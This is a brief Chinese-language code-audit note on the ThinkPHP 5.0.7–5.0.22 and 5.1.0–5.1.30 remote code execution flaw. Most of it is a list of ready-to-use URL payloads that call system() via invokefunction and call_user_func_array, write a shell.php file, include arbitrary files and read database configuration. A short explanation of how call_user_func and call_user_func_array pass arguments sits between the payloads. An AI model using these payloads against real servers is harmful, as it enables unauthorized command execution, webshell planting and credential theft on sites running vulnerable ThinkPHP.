PHP代码审计10-thinkphp-RCE #
**5.0.7<=ThinkPHP5<=5.0.22** 、**5.1.0<=ThinkPHP<=5.1.30**
案例一:RCE5.0-5.1 工具秒杀 #
5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
直接利用工具探测
具体payload
5.1
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> 写入文件
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
call_user_func 和 call_user_func_array 一个逐个传入参数 , 一个数组传入参数
- 用
call_user_func_array→ 要求vars[1]必须是数组(所以加[]变成二维); - 用
call_user_func→ 要求vars[1]是普通值(所以不加[],保持一维)。
function add($a, $b) { return $a + $b; }
echo call_user_func('add', 1, 2); // 输出 3
要求传入必须是数组
$vars = [
0 => 'system', // 第一个参数:要调用的函数名(system)
1 => ['calc'] // 第二个参数:传给 system 的参数(必须是数组!)
];
function show($name, $age) { echo "Name: $name, Age: $age"; }
$params = ['Tom', 20]; // 动态生成的参数数组
call_user_func_array('show', $params); // 输出 Name: Tom, Age: 20
?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=system&vars[1]=calc
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
不加array也可以